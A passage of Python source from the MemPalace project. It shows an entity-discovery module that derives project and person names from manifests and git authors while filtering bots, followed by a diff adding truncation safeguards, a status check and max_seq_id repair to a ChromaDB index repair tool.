"--format=%aN|%aE",
)
result = []
for line in out.splitlines():
if "|" in line:
name, email = line.split("|", 1)
result.append((name.strip(), email.strip()))
return result
# ==================== BOT / NAME FILTERING ====================
_BOT_NAME_PATTERNS = [
r"\[bot\]",
r"^dependabot",
r"^renovate",
r"^github-actions",
r"^actions-user",
r"-bot$",
r"\bbot$", # catches "PR Bot", "Release Bot", etc. Not "robot" (no \b)
r"^bot-",
r"^snyk",
r"^greenkeeper",
r"^semantic-release",
r"^allcontributors",
r"-autoroll$",
r"^auto-format",
r"^pre-commit-ci",
]
_BOT_EMAIL_PATTERNS = [
# `@users.noreply.github.com` is GitHub's privacy-protected human email —
# do NOT filter it. Real bots identify themselves via the display name
# (usually containing "[bot]"), which is caught by _BOT_NAME_PATTERNS.
r"bot@",
r"-bot@",
r"\[bot\]@",
]
_BOT_RE_NAMES = [re.compile(p) for p in _BOT_NAME_PATTERNS]
_BOT_RE_EMAILS = [re.compile(p) for p in _BOT_EMAIL_PATTERNS]
def _is_bot(name: str, email: str) -> bool:
ln, le = name.lower(), email.lower()
return any(rx.search(ln) for rx in _BOT_RE_NAMES) or any(rx.search(le) for rx in _BOT_RE_EMAILS)
def _looks_like_real_name(name: str) -> bool:
"""Heuristic: a human's name has a space and at least two title-cased parts.
Filters out handles (lowercase, digits, one-token usernames).
"""
if not name or " " not in name:
return False
parts = name.split()
if len(parts) < 2:
return False
# First and last parts must start with an uppercase letter
return parts[0][:1].isupper() and parts[-1][:1].isupper()
# ==================== DIRECTORY WALK ====================
def _walk(root: Path, max_depth: int = MAX_DEPTH):
for dirpath, dirs, files in os.walk(root):
dirs[:] = [d for d in dirs if d not in SKIP_DIRS and not d.startswith(".")]
rel = Path(dirpath).relative_to(root)
depth = 0 if rel == Path(".") else len(rel.parts)
if depth > max_depth:
dirs.clear()
continue
yield Path(dirpath), dirs, files
def _has_git_marker(path: Path) -> bool:
git_path = path / ".git"
return git_path.is_dir() or git_path.is_file()
def _manifest_sort_key(entry: tuple[str, str, Path], repo_root: Path) -> tuple[int, int, str]:
"""Sort manifests by shallowest path first, then known manifest priority,
then lexicographic path for deterministic tie-breaking.
"""
manifest_file, _project_name, manifest_dir = entry
try:
rel = manifest_dir.relative_to(repo_root)
depth = len(rel.parts)
rel_str = rel.as_posix()
except ValueError:
depth = MAX_DEPTH + 1
rel_str = manifest_dir.as_posix()
return (depth, MANIFEST_PRIORITY.get(manifest_file, UNKNOWN_MANIFEST_PRIORITY), rel_str)
def find_git_repos(root: Path, max_depth: int = MAX_DEPTH) -> list[Path]:
"""Return git repo roots under `root` (including root itself if it's a repo)."""
root = root.resolve()
repos: list[Path] = []
if _has_git_marker(root):
# Root is a repo — still walk for nested repos (submodules, etc.)
repos.append(root)
for dirpath, dirs, _ in _walk(root, max_depth):
if dirpath == root:
continue
if _has_git_marker(dirpath):
repos.append(dirpath)
dirs.clear() # don't descend into this repo's contents from here
return repos
def _collect_manifest_names(repo_root: Path) -> list[tuple[str, str, Path]]:
"""Return (manifest_filename, project_name, dirpath) within a repo.
Does not descend into nested git repos.
"""
found: list[tuple[str, str, Path]] = []
for dirpath, dirs, files in _walk(repo_root):
if dirpath != repo_root and _has_git_marker(dirpath):
dirs.clear()
continue
for fname in files:
parser = MANIFEST_PARSERS.get(fname)
if not parser:
continue
name = parser(dirpath / fname)
if name:
found.append((fname, name, dirpath))
return sorted(found, key=lambda entry: _manifest_sort_key(entry, repo_root))
# ==================== MAIN SCAN ====================
class _UnionFind:
"""Minimal union-find for (name, email) identity resolution."""
def __init__(self) -> None:
self.parent: dict = {}
def find(self, x):
if x not in self.parent:
self.parent[x] = x
return x
root = x
while self.parent[root] != root:
root = self.parent[root]
while self.parent[x] != root:
self.parent[x], x = root, self.parent[x]
return root
def union(self, a, b) -> None:
ra, rb = self.find(a), self.find(b)
if ra != rb:
self.parent[ra] = rb
def _dedupe_people(
all_commits: list[tuple[str, str, str]],
) -> dict[str, PersonInfo]:
"""Group commits by identity. Two commits are the same person if they
share a name OR an email. Display name = most frequent non-bot variant.
``all_commits`` is a list of (name, email, repo_str) triples from every repo.
"""
uf = _UnionFind()
for name, email, _repo in all_commits:
uf.union(("name", name), ("email", email) if email else ("name", name))
# Aggregate by component root
component_commits: dict = {}
for name, email, repo in all_commits:
key = uf.find(("name", name))
entry = component_commits.setdefault(
key, {"name_counts": {}, "emails": set(), "repos": set(), "total": 0}
)
entry["name_counts"][name] = entry["name_counts"].get(name, 0) + 1
if email:
entry["emails"].add(email)
entry["repos"].add(repo)
entry["total"] += 1
# Pick display name per component: the most-frequent variant that looks
# like a real name; fall back to most-frequent overall.
people: dict[str, PersonInfo] = {}
for _key, entry in component_commits.items():
candidates = sorted(entry["name_counts"].items(), key=lambda x: -x[1])
display = next(
(n for n, _ in candidates if _looks_like_real_name(n)),
candidates[0][0],
)
if not _looks_like_real_name(display):
continue # Skip handles and single-token names
# If we already have this display (rare — distinct components with the
# same chosen display), merge into the existing entry.
existing = people.get(display)
if existing:
existing.total_commits += entry["total"]
existing.emails.update(entry["emails"])
existing.repos.update(entry["repos"])
else:
people[display] = PersonInfo(
name=display,
total_commits=entry["total"],
emails=set(entry["emails"]),
repos=set(entry["repos"]),
)
return people
def scan(root: str | os.PathLike) -> tuple[list[ProjectInfo], list[PersonInfo]]:
"""Scan `root` for projects and people. Returns (projects, people) sorted."""
root_path = Path(root).expanduser().resolve()
if not root_path.is_dir():
return [], []
repos = find_git_repos(root_path)
# Identify current user from first repo's git config, fall back to global
me_name, me_email = "", ""
if repos:
me_name, me_email = _git_user_identity(repos[0])
if not me_name and not me_email:
me_name, me_email = _global_git_identity()
projects: dict[str, ProjectInfo] = {}
all_commits: list[tuple[str, str, str]] = []
for repo in repos:
manifests = _collect_manifest_names(repo)
if manifests:
manifest_file, proj_name, _ = manifests[0]
else:
manifest_file, proj_name = None, repo.name
authors = _git_authors(repo)
non_bot_authors = [(name, email) for name, email in authors if not _is_bot(name, email)]
total_commits = len(non_bot_authors)
user_commits = 0
author_counts: dict[str, int] = {}
for name, email in non_bot_authors:
author_counts[name] = author_counts.get(name, 0) + 1
all_commits.append((name, email, str(repo)))
if (me_name and name == me_name) or (me_email and email == me_email):
user_commits += 1
is_mine = False
if user_commits > 0:
sorted_authors = sorted(author_counts.items(), key=lambda x: -x[1])
top5 = {n for n, _ in sorted_authors[:5]}
if me_name and me_name in top5:
is_mine = True
elif total_commits and user_commits / total_commits >= 0.10:
is_mine = True
elif user_commits >= 20:
is_mine = True
proj = ProjectInfo(
name=proj_name,
repo_root=repo,
manifest=manifest_file,
has_git=True,
total_commits=total_commits,
user_commits=user_commits,
is_mine=is_mine,
)
existing = projects.get(proj_name)
if existing is None or proj.user_commits > existing.user_commits:
projects[proj_name] = proj
people = _dedupe_people(all_commits)
# Handle case: root has manifests but no git repo anywhere
if not repos:
manifests = _collect_manifest_names(root_path)
for manifest_file, proj_name, _dirpath in manifests:
if proj_name in projects:
continue
projects[proj_name] = ProjectInfo(
name=proj_name,
repo_root=root_path,
manifest=manifest_file,
has_git=False,
)
project_list = sorted(
projects.values(),
key=lambda p: (not p.is_mine, -p.user_commits, -p.total_commits, p.name),
)
people_list = sorted(people.values(), key=lambda p: -p.total_commits)
return project_list, people_list
# ==================== ADAPTER ====================
def to_detected_dict(
projects: list[ProjectInfo],
people: list[PersonInfo],
project_cap: int = 15,
people_cap: int = 15,
) -> dict:
"""Convert scan results into the dict shape produced by entity_detector.detect_entities."""
proj_entries = [
{
"name": p.name,
"type": "project",
"confidence": round(p.confidence, 2),
"frequency": p.user_commits or p.total_commits,
"signals": [p.to_signal()],
}
for p in projects[:project_cap]
]
people_entries = [
{
"name": p.name,
"type": "person",
"confidence": round(p.confidence, 2),
"frequency": p.total_commits,
"signals": [p.to_signal()],
}
for p in people[:people_cap]
]
return {
"people": people_entries,
"projects": proj_entries,
"topics": [],
"uncertain": [],
}
# ==================== MERGE WITH REGEX DETECTOR ====================
def _merge_detected(primary: dict, secondary: dict, drop_secondary_uncertain: bool = False) -> dict:
"""Merge two detected dicts. Primary entries win on name conflict.
Dedup is case-insensitive so "mempalace" (manifest name) absorbs "MemPalace"
(docs/prose reference) instead of surfacing both.
If ``drop_secondary_uncertain`` is True, the secondary's uncertain bucket is
dropped entirely — useful when the primary signal is strong (real repo
found) and we'd rather not ask the user to adjudicate prose-regex noise.
"""
seen = {e["name"].lower() for cat in primary.values() for e in cat}
merged = {k: list(v) for k, v in primary.items()}
for cat_key in ("people", "projects", "topics", "uncertain"):
if cat_key == "uncertain" and drop_secondary_uncertain:
continue
for e in secondary.get(cat_key, []):
if e["name"].lower() in seen:
continue
merged.setdefault(cat_key, []).append(e)
seen.add(e["name"].lower())
return merged
def discover_entities(
project_dir: str | os.PathLike,
languages: tuple = ("en",),
prose_file_cap: int = 10,
project_cap: int = 15,
people_cap: int = 15,
llm_provider: object = None,
show_progress: bool = True,
corpus_origin: dict | None = None,
) -> dict:
"""Top-level entity discovery: real signals first, prose detection second.
Returns the same dict shape as ``entity_detector.detect_entities`` so it
plugs into ``confirm_entities`` unchanged.
Order of signal preference:
1. Package manifests (package.json, pyproject.toml, Cargo.toml, go.mod)
→ canonical project names
2. Git commit authors → real people with real commit counts
3. Claude Code conversation dirs (~/.claude/projects/) → per-session
project names (pulled from each session's ``cwd`` metadata)
4. Regex entity detection on prose files → supplementary names only
mentioned in docs/notes (not code)
5. Optional LLM refinement pass — reclassifies ambiguous candidates
using the caller-supplied provider
6. Optional corpus-origin persona filter — when the corpus is
identified as AI-dialogue, candidates whose name matches an
agent_persona_name are moved to an ``agent_personas`` bucket
instead of being reported as people.
Passing ``llm_provider`` enables phase-2 refinement. The caller is
responsible for constructing the provider (``llm_client.get_provider``)
and confirming availability. Refinement is blocking-interactive:
progress prints to stderr; Ctrl-C returns partial results.
Passing ``corpus_origin`` enables corpus-origin persona reclassification.
The expected shape is the dict written by ``mempalace init`` to
``<palace>/.mempalace/origin.json`` (see ``corpus_origin.py``).
"""
projects, people = scan(project_dir)
# If the target is a Claude Code conversations root, extract per-project
# entries from there too. Same ProjectInfo shape, so dedup logic works.
from mempalace.convo_scanner import is_claude_projects_root, scan_claude_projects
root_path = Path(project_dir).expanduser().resolve()
if is_claude_projects_root(root_path):
convo_projects = scan_claude_projects(root_path)
# Dedup by name against the git-manifest list, preferring entries
# with more user_commits as signal strength. Keyed case-insensitively
# so a `pyproject.toml` name like `mempalace` and a Claude Code
# `cwd` variant like `MemPalace` collapse into one entry — matches
# the case-insensitive dedup used in `_merge_detected` and
# `miner.add_to_known_entities`.
by_name: dict[str, ProjectInfo] = {p.name.lower(): p for p in projects}
for cp in convo_projects:
key = cp.name.lower()
existing = by_name.get(key)
if existing is None or cp.user_commits > existing.user_commits:
by_name[key] = cp
projects = sorted(
by_name.values(),
key=lambda p: (not p.is_mine, -p.user_commits, -p.total_commits, p.name),
)
real_signal = to_detected_dict(projects, people, project_cap=project_cap, people_cap=people_cap)
# Secondary pass: prose-only extraction catches names mentioned in docs
# that never made a commit (e.g. a stakeholder or family member in notes).
from mempalace.entity_detector import detect_entities, scan_for_detection
prose_files = scan_for_detection(str(project_dir), max_files=prose_file_cap)
prose_detected = (
detect_entities(prose_files, languages=languages)
if prose_files
else {"people": [], "projects": [], "topics": [], "uncertain": []}
)
# Without LLM refinement, suppress regex "uncertain" noise when real
# manifest/git signal exists. With LLM refinement enabled, keep those
# candidates so the model can promote real entities or drop common words.
has_real_signal = bool(projects) or bool(people)
merged = _merge_detected(
real_signal,
prose_detected,
drop_secondary_uncertain=has_real_signal and llm_provider is None,
)
# Optional LLM refinement pass (when an llm_provider was supplied).
if llm_provider is not None:
from mempalace.llm_refine import collect_corpus_text, refine_entities
corpus = collect_corpus_text(str(project_dir))
result = refine_entities(
merged,
corpus,
llm_provider,
show_progress=show_progress,
allow_project_promotions=not has_real_signal,
corpus_origin=corpus_origin,
)
if show_progress:
status_bits = []
if result.cancelled:
status_bits.append("cancelled")
if result.reclassified:
status_bits.append(f"reclassified {result.reclassified}")
if result.dropped:
status_bits.append(f"dropped {result.dropped}")
if result.errors:
status_bits.append(f"{len(result.errors)} batch error(s)")
if status_bits:
import sys as _sys
print(f" LLM refine: {', '.join(status_bits)}", file=_sys.stderr)
merged = result.merged
# Corpus-origin persona reclassification — applied last so it sweeps
# candidates contributed by every upstream source (manifests, git authors,
# prose, LLM refinement). Idempotent: no corpus_origin → exact v3.3.3 shape.
if corpus_origin is not None:
from mempalace.entity_detector import _apply_corpus_origin
merged = _apply_corpus_origin(merged, corpus_origin)
return merged
# ==================== CLI ====================
if __name__ == "__main__":
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "."
projs, ppl = scan(target)
print(f"=== PROJECTS ({len(projs)}) ===")
for p in projs[:30]:
mark = "★" if p.is_mine else " "
print(f" {mark} {p.name:35} conf={p.confidence:.2f} {p.to_signal()}")
print()
print(f"=== PEOPLE ({len(ppl)}) ===")
for p in ppl[:30]:
print(f" {p.name:30} conf={p.confidence:.2f} {p.to_signal()}")
+484 -16
View File
@@ -6,8 +6,9 @@ When ChromaDB's HNSW index accumulates duplicate entries (from repeated
add() calls with the same ID), link_lists.bin can grow unbounded —
terabytes on large palaces — eventually causing segfaults.
This module provides three operations:
This module provides four operations:
status — compare sqlite vs HNSW element counts (read-only health check)
scan — find every corrupt/unfetchable ID in the palace
prune — delete only the corrupt IDs (surgical)
rebuild — extract all drawers, delete the collection, recreate with
@@ -17,6 +18,7 @@ The rebuild backs up ONLY chroma.sqlite3 (the source of truth), not the
full palace directory — so it works even when link_lists.bin is bloated.
Usage (standalone):
python -m mempalace.repair status
python -m mempalace.repair scan [--wing X]
python -m mempalace.repair prune --confirm
python -m mempalace.repair rebuild
@@ -30,9 +32,12 @@ Usage (from CLI):
import argparse
import os
import shutil
import sqlite3
import time
from datetime import datetime
from typing import Optional
from .backends.chroma import ChromaBackend
from .backends.chroma import ChromaBackend, hnsw_capacity_status
COLLECTION_NAME = "mempalace_drawers"
@@ -201,13 +206,143 @@ def prune_corrupt(palace_path=None, confirm=False):
print(f" Collection size: {before:,} → {after:,}")
def rebuild_index(palace_path=None):
# ChromaDB's ``collection.get()`` enforces an internal default ``limit``
# of 10 000 rows when the caller does not pass one. We pass an explicit
# ``limit=batch_size`` below, but the underlying segment also caps reads
# during stale/quarantined-HNSW recovery flows: extraction silently stops
# at exactly 10 000 even on palaces with many more rows. Refusing to
# overwrite when this exact value comes back is the simplest signal we
# can detect without depending on chromadb internals.
CHROMADB_DEFAULT_GET_LIMIT = 10_000
class TruncationDetected(Exception):
"""Raised by :func:`check_extraction_safety` when extraction looks short.
Carries the human-readable abort message so callers (CLI ``cmd_repair``,
``rebuild_index``) can print and exit consistently without re-deriving
the wording.
"""
def __init__(self, message: str, sqlite_count: "int | None", extracted: int):
super().__init__(message)
self.message = message
self.sqlite_count = sqlite_count
self.extracted = extracted
def check_extraction_safety(
palace_path: str, extracted: int, confirm_truncation_ok: bool = False
) -> None:
"""Cross-check that ``extracted`` matches the SQLite ground truth.
Two signals trip the guard:
1. **Strong** — ``chroma.sqlite3`` reports more drawers than were
extracted. This is the user-reported #1208 case: 67 580 on disk,
10 000 came back through the chromadb collection layer, repair
would have destroyed the difference.
2. **Weak** — extracted count equals exactly ``CHROMADB_DEFAULT_GET_LIMIT``
AND the SQLite check couldn't run (schema drift, locked file).
Hitting the chromadb default ``get()`` cap exactly is suspicious
enough to refuse without explicit acknowledgement.
Raises :class:`TruncationDetected` with a printable message when the
guard fires. Does nothing on safe extractions or when
``confirm_truncation_ok`` is set.
"""
if confirm_truncation_ok:
return
sqlite_count = sqlite_drawer_count(palace_path)
cap_signal = extracted == CHROMADB_DEFAULT_GET_LIMIT
if sqlite_count is not None and sqlite_count > extracted:
loss = sqlite_count - extracted
pct = 100 * loss / sqlite_count
message = (
f"\n ABORT: chroma.sqlite3 reports {sqlite_count:,} drawers but only {extracted:,}\n"
" came back through the chromadb collection layer. The segment metadata is\n"
" stale (often after manual HNSW quarantine) — proceeding would silently\n"
f" destroy {loss:,} drawers (~{pct:.0f}%).\n"
"\n"
" Recovery options:\n"
" 1. Restore from your most recent palace backup, then re-mine.\n"
" 2. Direct-extract from chroma.sqlite3 (rows are still on disk) and\n"
" rebuild the palace from source files.\n"
" 3. If you have independently confirmed the palace really contains only\n"
f" {extracted:,} drawers, re-run with --confirm-truncation-ok.\n"
)
raise TruncationDetected(message, sqlite_count, extracted)
if cap_signal and sqlite_count is None:
message = (
f"\n ABORT: extracted exactly {CHROMADB_DEFAULT_GET_LIMIT:,} drawers, which matches\n"
" ChromaDB's internal default get() limit. The on-disk SQLite count couldn't\n"
" be cross-checked from this Python context, so we can't tell whether the\n"
f" palace genuinely holds {CHROMADB_DEFAULT_GET_LIMIT:,} rows or whether extraction was\n"
" silently capped. Refusing to overwrite the palace.\n"
"\n"
" If you have independently confirmed (e.g. via direct sqlite3 query) that\n"
f" the palace really contains exactly {CHROMADB_DEFAULT_GET_LIMIT:,} drawers, re-run with\n"
" --confirm-truncation-ok.\n"
)
raise TruncationDetected(message, sqlite_count, extracted)
def sqlite_drawer_count(palace_path: str) -> "int | None":
"""Count rows in ``chroma.sqlite3.embeddings`` for the drawers collection.
Used as an independent ground-truth check against the chromadb
collection-layer ``count()`` / ``get()``: when the on-disk SQLite
row count exceeds the extraction count, the segment metadata is
stale and repair would destroy the difference.
Returns ``None`` when the schema isn't readable (chromadb version
drift, missing tables, locked file). Callers treat ``None`` as
"unknown" and fall back to the cap-detection check.
"""
sqlite_path = os.path.join(palace_path, "chroma.sqlite3")
if not os.path.exists(sqlite_path):
return None
try:
import sqlite3
conn = sqlite3.connect(f"file:{sqlite_path}?mode=ro", uri=True)
try:
row = conn.execute(
"""
SELECT COUNT(*)
FROM embeddings e
JOIN segments s ON e.segment_id = s.id
JOIN collections c ON s.collection = c.id
WHERE c.name = ?
""",
(COLLECTION_NAME,),
).fetchone()
return int(row[0]) if row and row[0] is not None else None
finally:
conn.close()
except Exception:
# chromadb schema differs by version (segments / collections column
# names occasionally rename). Silent fallback is correct here —
# the cap-detection check still catches the user-reported case.
return None
def rebuild_index(palace_path=None, confirm_truncation_ok: bool = False):
"""Rebuild the HNSW index from scratch.
1. Extract all drawers via ChromaDB get()
2. Back up ONLY chroma.sqlite3 (not the bloated HNSW files)
3. Delete and recreate the collection with hnsw:space=cosine
4. Upsert all drawers back
2. Cross-check against the SQLite ground truth (#1208 guard)
3. Back up ONLY chroma.sqlite3 (not the bloated HNSW files)
4. Delete and recreate the collection with hnsw:space=cosine
5. Upsert all drawers back
``confirm_truncation_ok`` overrides the safety guard from step 2.
Set to ``True`` only when you have independently verified that the
palace genuinely contains exactly the extracted number of drawers
(typically only a concern for palaces sized at exactly 10 000 rows).
"""
palace_path = palace_path or _get_palace_path()
@@ -252,10 +387,20 @@ def rebuild_index(palace_path=None):
offset += len(batch["ids"])
print(f" Extracted {len(all_ids)} drawers")
# ── #1208 guard ──────────────────────────────────────────────────
# Refuse to ``delete_collection`` + rebuild when extraction looks
# short of the SQLite ground truth (or when extraction == chromadb
# default get() cap and the SQLite check couldn't run).
try:
check_extraction_safety(palace_path, len(all_ids), confirm_truncation_ok)
except TruncationDetected as e:
print(e.message)
return
# Back up ONLY the SQLite database, not the bloated HNSW files
sqlite_path = os.path.join(palace_path, "chroma.sqlite3")
backup_path = sqlite_path + ".backup"
if os.path.exists(sqlite_path):
backup_path = sqlite_path + ".backup"
print(f" Backing up chroma.sqlite3 ({os.path.getsize(sqlite_path) / 1e6:.0f} MB)...")
shutil.copy2(sqlite_path, backup_path)
print(f" Backup: {backup_path}")
@@ -266,22 +411,343 @@ def rebuild_index(palace_path=None):
new_col = backend.create_collection(palace_path, COLLECTION_NAME)
filed = 0
for i in range(0, len(all_ids), batch_size):
batch_ids = all_ids[i : i + batch_size]
batch_docs = all_docs[i : i + batch_size]
batch_metas = all_metas[i : i + batch_size]
new_col.upsert(documents=batch_docs, ids=batch_ids, metadatas=batch_metas)
filed += len(batch_ids)
print(f" Re-filed {filed}/{len(all_ids)} drawers...")
try:
for i in range(0, len(all_ids), batch_size):
batch_ids = all_ids[i : i + batch_size]
batch_docs = all_docs[i : i + batch_size]
batch_metas = all_metas[i : i + batch_size]
new_col.upsert(documents=batch_docs, ids=batch_ids, metadatas=batch_metas)
filed += len(batch_ids)
print(f" Re-filed {filed}/{len(all_ids)} drawers...")
except Exception as e:
print(f"\n ERROR during rebuild: {e}")
print(f" Only {filed}/{len(all_ids)} drawers were re-filed.")
if os.path.exists(backup_path):
print(f" Restoring from backup: {backup_path}")
backend.delete_collection(palace_path, COLLECTION_NAME)
shutil.copy2(backup_path, sqlite_path)
print(" Backup restored. Palace is back to pre-repair state.")
else:
print(" No backup available. Re-mine from source files to recover.")
raise
print(f"\n Repair complete. {filed} drawers rebuilt.")
print(" HNSW index is now clean with cosine distance metric.")
print(f"\n{'=' * 55}\n")
def status(palace_path=None) -> dict:
"""Read-only health check: compare sqlite vs HNSW element counts.
Catches the #1222 failure mode where chromadb's HNSW segment freezes
at a stale ``max_elements`` while sqlite keeps accumulating rows.
Once the divergence is large enough, every tool call segfaults when
chromadb tries to load the undersized HNSW. Running ``mempalace
repair-status`` *before* opening the segment lets the operator
discover the problem without crashing the MCP server.
The check itself never opens a chromadb client and never imports
hnswlib — it reads ``chroma.sqlite3`` and ``index_metadata.pickle``
directly via :func:`mempalace.backends.chroma.hnsw_capacity_status`.
Returns the capacity-status dict (also printed). Returns a dict with
``status="unknown"`` when no palace exists at the given path.
"""
palace_path = palace_path or _get_palace_path()
print(f"\n{'=' * 55}")
print(" MemPalace Repair — Status")
print(f"{'=' * 55}\n")
print(f" Palace: {palace_path}")
if not os.path.isdir(palace_path):
print(" No palace found.\n")
return {"status": "unknown", "message": "no palace at path"}
drawers = hnsw_capacity_status(palace_path, "mempalace_drawers")
closets = hnsw_capacity_status(palace_path, "mempalace_closets")
for label, info in (("drawers", drawers), ("closets", closets)):
print(f"\n [{label}]")
if info["sqlite_count"] is None:
print(" sqlite count: (unreadable)")
else:
print(f" sqlite count: {info['sqlite_count']:,}")
if info["hnsw_count"] is None:
print(" hnsw count: (no flushed metadata yet)")
else:
print(f" hnsw count: {info['hnsw_count']:,}")
if info["divergence"] is not None:
print(f" divergence: {info['divergence']:,}")
marker = "DIVERGED" if info["diverged"] else info["status"].upper()
print(f" status: {marker}")
if info["message"]:
print(f" note: {info['message']}")
if drawers["diverged"] or closets["diverged"]:
print("\n Recommended: run `mempalace repair` to rebuild the index.")
print()
return {"drawers": drawers, "closets": closets}
# ---------------------------------------------------------------------------
# max-seq-id mode: un-poison max_seq_id rows corrupted by the old shim
# ---------------------------------------------------------------------------
def _close_chroma_handles(palace_path: str) -> None:
"""Drop ChromaBackend + chromadb singleton caches so OS mmap handles release."""
import gc
try:
ChromaBackend().close_palace(palace_path)
except Exception:
pass
try:
from chromadb.api.client import SharedSystemClient
SharedSystemClient.clear_system_cache()
except Exception:
pass
gc.collect()
class MaxSeqIdVerificationError(RuntimeError):
"""Raised when post-repair detection still sees poisoned rows."""
#: Any ``max_seq_id.seq_id`` above this is unreachable by a real palace.
#: Clean values are bounded by the embeddings_queue's monotonic counter (<1e10
#: in practice), and 2**53 is the float64 exact-integer ceiling. Poisoned
#: values from the 0.6.x shim misinterpreting chromadb 1.5.x's
#: ``b'\x11\x11' + 6 ASCII digits`` format start at ~1.23e18, so anything
#: above the threshold is confidently a shim-poisoning artefact.
MAX_SEQ_ID_SANITY_THRESHOLD = 1 << 53
def _detect_poisoned_max_seq_ids(
db_path: str,
*,
segment: Optional[str] = None,
threshold: int = MAX_SEQ_ID_SANITY_THRESHOLD,
) -> list[tuple[str, int]]:
"""Return ``[(segment_id, poisoned_seq_id), ...]`` for rows above threshold.
If ``segment`` is given, the detection is restricted to that segment id
(still only returning it if it actually exceeds the threshold).
"""
with sqlite3.connect(db_path) as conn:
if segment is not None:
rows = conn.execute(
"SELECT segment_id, seq_id FROM max_seq_id WHERE segment_id = ? AND seq_id > ?",
(segment, threshold),
).fetchall()
else:
rows = conn.execute(
"SELECT segment_id, seq_id FROM max_seq_id WHERE seq_id > ?",
(threshold,),
).fetchall()
return [(str(sid), int(val)) for sid, val in rows]
def _compute_heuristic_seq_id(cur: sqlite3.Cursor, segment_id: str) -> int:
"""Return ``MAX(embeddings.seq_id)`` over the collection owning ``segment_id``.
Matches the METADATA segment's pre-poison value exactly (its max equals
the collection-wide embeddings max). For the sibling VECTOR segment the
value is a few seq_ids ahead of its own pre-poison max; the queue
treats that as "already consumed", skipping a small window of
already-indexed embeddings on next subscribe. That is an acceptable
loss vs. resetting to 0 (which would re-process the entire queue and
risk HNSW bloat from issue #1046).
``embeddings.seq_id`` rows can be BLOB-typed on palaces where
chromadb 1.5.x has been writing seq_ids natively (8-byte big-endian
uint64). When SQLite's ``MAX`` returns such a row, decode it back to
an integer rather than crashing on ``int(bytes)``.
"""
row = cur.execute(
"""
SELECT MAX(e.seq_id)
FROM embeddings e
JOIN segments s ON e.segment_id = s.id
WHERE s.collection = (
SELECT collection FROM segments WHERE id = ?
)
""",
(segment_id,),
).fetchone()
if row is None or row[0] is None:
return 0
val = row[0]
if isinstance(val, (bytes, bytearray)):
return int.from_bytes(val, "big")
return int(val)
def _read_sidecar_seq_ids(sidecar_path: str) -> dict[str, int]:
"""Load ``{segment_id: seq_id}`` from a sidecar DB's ``max_seq_id`` table.
Rejects sidecar files whose ``max_seq_id.seq_id`` is itself BLOB-typed
— a sidecar that old predates chromadb's type normalisation and is not
a trustworthy restoration source.
"""
if not os.path.isfile(sidecar_path):
raise FileNotFoundError(f"Sidecar database not found: {sidecar_path}")
out: dict[str, int] = {}
with sqlite3.connect(sidecar_path) as conn:
rows = conn.execute("SELECT segment_id, seq_id, typeof(seq_id) FROM max_seq_id").fetchall()
for segment_id, seq_id, kind in rows:
if kind == "blob":
raise ValueError(
f"Sidecar has BLOB-typed seq_id for {segment_id}; refusing to use it. "
"Pass a sidecar that was already migrated to INTEGER rows."
)
out[str(segment_id)] = int(seq_id)
return out
def repair_max_seq_id(
palace_path: str,
*,
segment: Optional[str] = None,
from_sidecar: Optional[str] = None,
threshold: int = MAX_SEQ_ID_SANITY_THRESHOLD,
backup: bool = True,
dry_run: bool = False,
assume_yes: bool = False,
) -> dict:
"""Un-poison ``max_seq_id`` rows corrupted by ``_fix_blob_seq_ids`` misfire.
The old shim ran ``int.from_bytes(blob, 'big')`` across every BLOB
``max_seq_id.seq_id`` row, including chromadb 1.5.x's native
``b'\\x11\\x11' + ASCII digits`` format. That conversion yields a
~1.23e18 integer that silently suppresses every subsequent
``embeddings_queue`` write for the affected segment. This command
restores clean values either from a pre-corruption sidecar DB
(exact) or heuristically (``MAX(embeddings.seq_id)`` over the owning
collection).
"""
from .migrate import confirm_destructive_action, contains_palace_database
palace_path = os.path.abspath(os.path.expanduser(palace_path))
db_path = os.path.join(palace_path, "chroma.sqlite3")
result: dict = {
"palace_path": palace_path,
"dry_run": dry_run,
"aborted": False,
"segment_repaired": [],
"before": {},
"after": {},
"backup": None,
}
print(f"\n{'=' * 55}")
print(" MemPalace Repair — max_seq_id Un-poison")
print(f"{'=' * 55}\n")
print(f" Palace: {palace_path}")
if segment:
print(f" Segment: {segment}")
if from_sidecar:
print(f" Sidecar: {from_sidecar}")
if not os.path.isdir(palace_path):
print(f" No palace found at {palace_path}")
result["aborted"] = True
result["reason"] = "palace-missing"
return result
if not contains_palace_database(palace_path):
print(f" No palace database at {palace_path}")
result["aborted"] = True
result["reason"] = "db-missing"
return result
poisoned = _detect_poisoned_max_seq_ids(db_path, segment=segment, threshold=threshold)
if not poisoned:
print(" No poisoned max_seq_id rows detected. Nothing to do.")
print(f"\n{'=' * 55}\n")
return result
sidecar_map: dict[str, int] = {}
if from_sidecar:
sidecar_map = _read_sidecar_seq_ids(from_sidecar)
plan: list[tuple[str, int, int]] = []
with sqlite3.connect(db_path) as conn:
cur = conn.cursor()
for seg_id, old_val in poisoned:
if from_sidecar:
if seg_id not in sidecar_map:
print(f" Skipped segment {seg_id}: no sidecar entry")
continue
new_val = sidecar_map[seg_id]
else:
new_val = _compute_heuristic_seq_id(cur, seg_id)
plan.append((seg_id, old_val, new_val))
result["before"][seg_id] = old_val
result["after"][seg_id] = new_val
print()
print(" Report")
print(f" poisoned rows {len(poisoned):>6}")
print(f" planned repairs {len(plan):>6}")
source = "sidecar" if from_sidecar else "heuristic (collection MAX)"
print(f" clean-value source {source}")
for seg_id, old_val, new_val in plan:
print(f" {seg_id} {old_val} → {new_val}")
if dry_run:
print("\n DRY RUN — no rows modified.\n" + "=" * 55 + "\n")
return result
if not plan:
print(" No actionable repairs.")
print(f"\n{'=' * 55}\n")
return result
if not confirm_destructive_action("Repair max_seq_id", palace_path, assume_yes=assume_yes):
result["aborted"] = True
result["reason"] = "user-aborted"
return result
if backup:
timestamp = datetime.now().strftime("%Y%m%d-%H%M%S")
backup_path = os.path.join(palace_path, f"chroma.sqlite3.max-seq-id-backup-{timestamp}")
shutil.copy2(db_path, backup_path)
result["backup"] = backup_path
print(f" Backup: {backup_path}")
_close_chroma_handles(palace_path)
with sqlite3.connect(db_path) as conn:
conn.execute("BEGIN")
try:
conn.executemany(
"UPDATE max_seq_id SET seq_id = ? WHERE segment_id = ?",
[(new_val, seg_id) for seg_id, _old, new_val in plan],
)
conn.commit()
except Exception:
conn.rollback()
raise
remaining = _detect_poisoned_max_seq_ids(db_path, segment=segment, threshold=threshold)
if remaining:
raise MaxSeqIdVerificationError(
f"Post-repair detection still found {len(remaining)} poisoned row(s): "
